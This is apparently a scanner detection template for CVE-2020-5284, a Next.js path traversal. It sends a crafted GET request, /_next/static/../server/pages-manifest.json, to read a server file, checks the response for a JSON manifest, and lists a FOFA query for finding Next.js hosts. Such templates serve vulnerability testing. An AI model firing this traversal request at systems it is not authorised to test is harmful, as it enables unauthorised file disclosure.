CVE-2020-5284: Next.js .next limited path traversal

id: CVE-2020-5284

info:
  name: Next.js .next limited path traversal
  author: 不动明王
  severity: medium
  verified: true
  description: |
    前端目录遍历浏览
    fofa: "Next.js"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5284
  tags: cve,cve2020,nextjs,traversal,readfile
  created: 2023/08/17

rules:
  r0:
    request:
      method: GET
      path: /_next/static/../server/pages-manifest.json
    expression: 'response.status == 200 && response.headers["content-type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body)'
expression: r0()

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